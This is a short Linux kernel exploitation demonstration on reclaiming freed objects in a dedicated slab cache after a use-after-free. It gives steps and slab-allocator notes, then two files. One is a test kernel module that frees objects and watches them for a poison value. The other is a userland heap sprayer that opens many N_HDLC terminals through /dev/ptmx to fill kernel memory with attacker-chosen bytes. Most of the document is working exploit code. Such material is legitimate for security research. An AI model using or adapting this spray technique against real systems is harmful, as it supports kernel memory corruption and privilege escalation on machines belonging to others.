Exploit use-after-free bugs in dedicated cache
This is just a demonstration.
HOWTO
- free the target object
- spray and eat all available memory, take high memory usage, hope to have the freed object poisoned
- trigger the use-after-free
NOTICE
For each cache, the Slab allocator keeps three doubly-linked lists of slabs:
- full slabs: all objects of a slab are used (i.e. allocated)
- free slabs: all objects of a slab are free (i.e. the slab is empty)
- partial slabs: some objects of the slab are used and other are free
We may need to make the target object in free slabs
Refs
Files
- kernmod.c
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/types.h>
#include <linux/fs.h>
#include <linux/slab.h>
#include <linux/debugfs.h>
#include <linux/kallsyms.h>
#include <linux/delay.h>
#include <asm/insn.h>
#define TARGET_SLABSZ 1920
#define OBJ_MAX 0x200
#define POISON_VALUE 0x4141414141414141
char *ptrs[OBJ_MAX];
struct kmem_cache *s;
static int __init test_init(void)
{
long i;
s = kmem_cache_create("test_memory_poison", TARGET_SLABSZ, 0,
SLAB_HWCACHE_ALIGN, NULL);
if (!s)
return -1;
for (i = 0; i < OBJ_MAX; i++) {
ptrs[i] = kmem_cache_alloc(s, GFP_KERNEL);
if (!ptrs[i])
break;
memset(ptrs[i], 'a', TARGET_SLABSZ);
}
for (i = 1; i < OBJ_MAX; i++)
if (ptrs[i])
kmem_cache_free(s, ptrs[i]);
pr_info("ptrs[0]: %p\n", ptrs[0]);
while (1) {
int found = 0;
for (i = 1; i < OBJ_MAX; i++) {
unsigned long val;
if (!ptrs[i])
continue;
val = *(unsigned long *)(ptrs[i] + 0x10);
if (val == POISON_VALUE) {
found = 1;
break;
}
}
if (found) {
for (i = 1; i < OBJ_MAX; i++) {
if (!ptrs[i])
continue;
if (*(unsigned long *)(ptrs[i] + 0x10) ==
POISON_VALUE)
pr_info("ptrs[%ld]: %p poisoned\n",
i, ptrs[i]);
}
break;
}
msleep(1000);
}
kmem_cache_free(s, ptrs[0]);
return 0;
}
static void __exit test_exit(void)
{
kmem_cache_destroy(s);
return;
}
module_init(test_init);
module_exit(test_exit);
MODULE_LICENSE("GPL");
- kern_mem_poison.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/types.h>
#include <fcntl.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <sys/ioctl.h>
#include <termios.h>
#include <ctype.h>
static unsigned long mem_avail = 0;
static int get_memory_avail(void)
{
int fd = open("/proc/meminfo", O_RDONLY);
if (fd == -1) {
return -1;
}
char buf[4096];
memset(buf, 0, 4096);
int err = read(fd, buf, 4096);
if (err == -1) {
close(fd);
return -1;
}
char *string = "MemAvailable:";
char *p = strstr(buf, string);
if (!p) {
close(fd);
return -1;
}
p += strlen(string);
while (isspace(*p))
p++;
mem_avail = 1024 * atoll(p);
return 0;
}
static int open_n_hdlc(void)
{
int fd = open("/dev/ptmx", O_RDWR | O_NONBLOCK);
if (fd == -1) {
return -1;
}
int cmd = TIOCSETD;
int arg = N_HDLC;
int err = ioctl(fd, cmd, &arg);
if (err == -1) {
close(fd);
return -1;
}
err = ioctl(fd, TCXONC, TCOOFF);
if (err == -1) {
close(fd);
return -1;
}
return fd;
}
static int max_open_files(struct rlimit *rlim)
{
int err;
memset(rlim, 0, sizeof(*rlim));
err = getrlimit(RLIMIT_NOFILE, rlim);
if (err == -1) {
return -1;
}
rlim->rlim_cur = rlim->rlim_max & (~0xff);
err = setrlimit(RLIMIT_NOFILE, rlim);
if (err == -1) {
return -1;
}
return 0;
}
static int kern_mem_poison(char *buf, size_t len)
{
int err;
if ((len < 4096) || (len > 65536)) {
return -1;
}
struct rlimit rlim;
err = max_open_files(&rlim);
if (err == -1) {
return -1;
}
int fd[rlim.rlim_cur];
long i;
for (i = 0; i < rlim.rlim_cur; i++) {
if (!get_memory_avail())
if (mem_avail < (len*2))
break;
fd[i] = open_n_hdlc();
if (fd[i] == -1) {
break;
}
err = write(fd[i], buf, len);
if (err == -1) {
break;
}
}
if (i < rlim.rlim_cur)
for (long j = i; j < rlim.rlim_cur; j++)
fd[j] = -1;
for (i = 0; i < rlim.rlim_cur; i++) {
close(fd[i]);
fd[i] = -1;
}
return 0;
}
#define POISON_VALUE 0x4141414141414141
int main(int argc, char *argv[])
{
char buf[4096];
unsigned long *addr = buf;
for (int i = 0; i < 4096 / 8; i++) {
addr[i] = POISON_VALUE;
}
kern_mem_poison(buf, 4096);
return 0;
}